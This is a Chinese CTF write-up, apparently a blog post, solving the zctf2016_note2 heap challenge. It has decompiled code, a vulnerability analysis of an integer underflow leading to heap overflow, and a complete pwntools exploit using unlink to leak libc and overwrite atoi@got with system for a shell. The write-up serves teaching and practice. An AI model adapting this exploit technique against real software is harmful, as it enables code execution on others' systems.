zctf2016_note2-堆利用-unlink

一、题目
题目:zctf2016_note2
题目描述:
二、WriteUp
(一)题目环境
glibc版本2.23 通过patchelf进行修改
(二)信息收集
$ checksec note2
  Arch:     amd64-64-little
  RELRO:    Partial RELRO       # (.plt.got)段依然可写,只是(.got)段不在可写。
  Stack:    Canary found
  NX:       NX enabled          # 栈不可执行
  PIE:      No PIE (0x400000)   # 未开启地址随机化 patchelf后基址可能会改变0x3ff000 但是还是用0x400000来做即可

$ file note2
note2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46dca2e49f923813b316f12858e7e0f42e4a82c3, stripped

# 运行测试
$ ./note2
Input your name:
admin
Input your address:
0x00400000
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit

# New note
option--->>
1
Input the length of the note content:(less than 128)
10
Input the note content:
1234567890
note add success, the id is 0

# Show note
option--->>
2
Input the id of the note:
0
Content is 123456789

# Edit note
option--->>
3
Input the id of the note:
0
do you want to overwrite or append?[1.overwrite/2.append]
1
TheNewContents:123
Edit note success!

# Delete note
option--->>
4
Input the id of the note:
0
delete note success!
(三)IDA逆向分析
详见note2.i64文件
void __fastcall main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);                                 // 当程序执行到 alarm(60); 这行代码时,会设置一个定时器,1 分钟后发送 SIGALRM 信号给程序
  puts("Input your name:");                     // ".bss" 段是指 "Block Started by Symbol" 段,通常用于声明未初始化的全局或静态变量
  read_input(name, 64LL, 10);                   // .bss:00000000006020E0 name            db 40h dup(?)           ; DATA XREF: main+7C↑o
  puts("Input your address:");
  read_input(address, 96LL, 10);                // .bss:0000000000602180 address         db 60h dup(?)           ; DATA XREF: main+9A↑o
                                                // 0x10是换行符
  while ( 1 )
  {
    switch ( menu() )
    {
      case 1:
        New_note();                             // n快捷键修改函数名 /快捷键添加注释
                                                // malloc chunk
        break;
      case 2:
        Show_note();
        break;
      case 3:
        Edit_note();
        break;
      case 4:
        Delete_note();                          // free chunk
        break;
      case 5:
        puts("Bye~");
        exit(0);
      case 6:
        exit(0);
      default:
        continue;
    }
  }
}
// 改成void类型
void __fastcall New_note()
{
  unsigned int v0; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]
  char *malloc_ptr; // [rsp+8h] [rbp-8h]

  if ( (unsigned int)note_count <= 3 )
  {
    puts("Input the length of the note content:(less than 128)");
    size = get_number();
    if ( size <= 0x80 )
    {
      malloc_ptr = (char *)malloc(size);
      puts("Input the note content:");
      read_input(malloc_ptr, size, 10);         // 通过read_input溢出覆盖nextchunk
      strip_baifenhao(malloc_ptr);
      ptr[note_count] = malloc_ptr;             // 这里应该是数组,将void *ptr改为void *ptr[]
      sizes[note_count] = size;
      v0 = note_count++;
      printf("note add success, the id is %d\n", v0);
    }
    else
    {
      puts("Too long");
    }
  }
  else
  {
    puts("note lists are full");
  }
}
void __fastcall Show_note()
{
  int v0; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  v0 = get_number();
  if ( v0 >= 0 && v0 <= 3 )
  {
    if ( ptr[v0] )
      printf("Content is %s\n", (const char *)ptr[v0]);
  }
}
void __fastcall Edit_note()
{
  char *v0; // rbx
  int noteid; // [rsp+8h] [rbp-E8h]
  int choice; // [rsp+Ch] [rbp-E4h]
  char *note_content; // [rsp+10h] [rbp-E0h]
  __int64 note_size; // [rsp+18h] [rbp-D8h]
  char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
  char *v6; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v7; // [rsp+D8h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  if ( note_count )
  {
    puts("Input the id of the note:");
    noteid = get_number();
    if ( noteid >= 0 && noteid <= 3 )
    {
      note_content = (char *)ptr[noteid];
      note_size = sizes[noteid];
      if ( note_content )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        choice = get_number();
        if ( choice == 1 || choice == 2 )
        {
          if ( choice == 1 )
            dest[0] = 0;
          else
            strcpy(dest, note_content);
          v6 = (char *)malloc(0xA0uLL);
          strcpy(v6, "TheNewContents:");
          printf(v6);
          read_input(v6 + 15, 144LL, 10);
          strip_baifenhao(v6 + 15);
          v0 = v6;
          v0[note_size - strlen(dest) + 14] = 0;
          strncat(dest, v6 + 15, 0xFFFFFFFFFFFFFFFFLL);// strncat函数用于将字符串追加到另一个字符串的末尾,并指定最大追加字符数
          strcpy(note_content, dest);           // 存在堆溢出可能
          free(v6);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
}
void __fastcall Delete_note()
{
  int noteiid; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  noteiid = get_number();
  if ( noteiid >= 0 && noteiid <= 3 )
  {
    if ( ptr[noteiid] )
    {
      free(ptr[noteiid]);
      ptr[noteiid] = 0LL;
      sizes[noteiid] = 0LL;
      puts("delete note success!");
    }
  }
}
// y快捷键修改变量的类型
unsigned __int64 __fastcall read_input(char *a1, __int64 a2, char a3)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  for ( i = 0LL; a2 - 1 > i; ++i )              // 如果a2等于0,则-1无符号数为较大数,产生整数溢出
  {
    v7 = read(0, &buf, 1uLL);                   // 0表示标准输入文件描述符,&buf是一个指向缓冲区的指针,1uLL表示要读取的字节数
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == a3 )                            // 若buf为0x10换行符,则退出循环
      break;
    a1[i] = buf;
  }
  a1[i] = 0;
  return i;
}
int menu()
{
  puts("1.New note\n2.Show  note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
  return get_number();
}
int get_number()
{
  char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read_input((__int64)nptr, 16LL, 10);
  return atoi(nptr);
}
(四)Payload分析
1. 函数分析
(1)New_note函数
该函数会malloc一个size大小的chunk,然后通过read_input函数将标准输入的字节保存到malloc_ptr中,即chunk的userdata
但是read_input函数存在整数溢出漏洞,当size=0时,malloc(0)会创建一个只包含chunk头的chunk,大小为0x20,但是在read_input函数中-1为0xFFFFFFFFFFFFFFFF(18446744073709551615),计算机可以理解为以无符号数进行比较,这时可以进行堆溢出。
另外最多可以malloc申请4个chunk

(2)Show_note函数
该函数打印申请的chunk中userdata的内容

(3)Edit_note函数
该函数可在chunk的userdata后覆盖内容或者追加内容
漏洞1:strncat函数未控制可以追加的大小,以及read_input(v6 + 15, 144LL, 10);可以写入0x90个字节,也可以导致堆溢出,但是这个利用方式不如New_note函数中的堆溢出漏洞方便利用
漏洞2:malloc(0xa0)返回的地址并没有设置为null,存在UAF漏洞

(4)Delete_note函数
该函数free了申请的chunk
2. 漏洞利用分析
(1)由于申请的堆块的指针放在bss段上,即存在chunk指针的指针,所以考虑用unlink。
(2)利用unlink修改chunk指针变为chunk指针的指针低12字节的地址,变为bss段上的地址
(3)然后再通过edit功能更改存放chunk指针的内容,然后通过show功能,打印假的chunk指针指向内容,最终泄露libc的地址
(4)这里通过edit函数将free@got改为system函数的地址,让程序再次执行,并输入参数"/bin/sh\x00",即执行system("/bin/sh")拿shell。
3. 示意图
(1)创建3个chunk

在这里插入图片描述

(2)利用整数溢出进行堆溢出,构造fake_chunk和fake_chunk of nextchunk

在这里插入图片描述

(3)触发unlink

在这里插入图片描述

(五)Exploit撰写
# 在实际构造exp时需要先把与程序交互的函数写出
# 本题gdb.attach()断在menu菜单处并继续执行
# IDA中可以通过窗口最下方的行处快捷查看函数地址
# IDA中获取的地址
# .bss:0000000000602120 ptr             dq ?
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning) # 忽略 BytesWarning

io = process("./note2")
# io = remote("abc",1234)

elf = ELF('./note2')
libc = ELF('./libc-2.23.so')
# context.log_level = 'debug'

def new(size,buf):
  io.sendlineafter("option--->>","1")
  io.sendlineafter("Input the length of the note content:(less than 128)",str(size))
  io.sendlineafter("Input the note content:",buf)

def show(id):
  io.sendlineafter("option--->>","2")
  io.sendlineafter("Input the id of the note:",str(id))
  
def edit(id,opt,buf):
  io.sendlineafter("option--->>","3")
  io.sendlineafter("Input the id of the note:",str(id))
  io.sendlineafter("do you want to overwrite or append?[1.overwrite/2.append]",str(opt))
  io.sendlineafter("TheNewContents:",buf)

def delete(id):
  io.sendlineafter("option--->>","4")
  io.sendlineafter("Input the id of the note:",str(id))

io.sendlineafter("name","admin")
io.sendlineafter("address","0x00400000")
# gdb.attach(io,"b *0x401030") 
# pause()

ptr = 0x602120 
fake_prev_size = 0
fake_size = 0x80 + 0x20 + 0x1 # P:PREV_INUSE,记录前一个chunk块是否被分配,1表示被分配
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
payload = p64(fake_prev_size) + p64(fake_size) + p64(fake_fd) + p64(fake_bk)
new(0x80,payload)
new(0,'')
new(0x80,'1')

delete(1)
new(0,b'A'*0x10 + p64(fake_size-1) + p64(0x90))

delete(2)

payload = b'A'*0x18 + p64(elf.got['atoi'])
edit(0,1,payload)

show(0)
io.recvuntil("Content is ")
atoi_got = io.recvuntil("\n").strip() + b"\x00\x00"
libc_baseaddr = u64(atoi_got)-libc.symbols['atoi']

edit(0,1,p64(libc_baseaddr + libc.symbols['system']))

io.sendline("/bin/sh")
io.interactive()    
(六)GDB调试
python3 exp.py
heap
telescope $addr $addr_nums # 查看chunk的内容
bins
chunkinfo $addr
1. 创建3个chunk
ptr = 0x602120 
fake_prev_size = 0
fake_size = 0x80 + 0x20 + 0x1 # P:PREV_INUSE,记录前一个chunk块是否被分配,1表示被分配
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10

payload = p64(fake_prev_size) + p64(fake_size) + p64(fake_fd) + p64(fake_bk)
new(0x80,payload)
new(0,'')
new(0x80,'1')

在这里插入图片描述

2. 释放chunk1
delete(1)

在这里插入图片描述

3. 申请chunk3 进行堆溢出,构造fake_chunk的nextchunk
new(0,b'A'*0x10 + p64(fake_size-1) + p64(0x90))

在这里插入图片描述

4. 触发unlink
可以看到ptr数组保存了两个指针
delete(2)

在这里插入图片描述

5. 泄露libc.baseaddr
现在ptr[0]指向0x602108,写入数据会覆盖ptr[0]的指针,然后打印ptr[0]指向的值会泄露atoi@got的地址
payload = b'A'*0x18 + p64(elf.got['atoi']) 
edit(0,1,payload)
show(0)
io.recvuntil("Content is ")
atoi_got = io.recvuntil("\n").strip() + b"\x00\x00"
libc_baseaddr = u64(atoi_got)-libc.symbols['atoi']

在这里插入图片描述

6. 覆盖atoi@got表地址为system@got
现在ptr[0]是atoi@got的地址,写入数据会覆盖atoi@got的值,如果覆盖为system@got,则执行程序触发atoi时,会执行system函数,而atoi的参数是通过用户输入的,即get_number函数,在输入option时输入/bin/sh即实现交互式shell
io.sendline("/bin/sh") 
edit(0,1,p64(libc_baseaddr + libc.symbols['system']))

在这里插入图片描述

三、参考链接
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值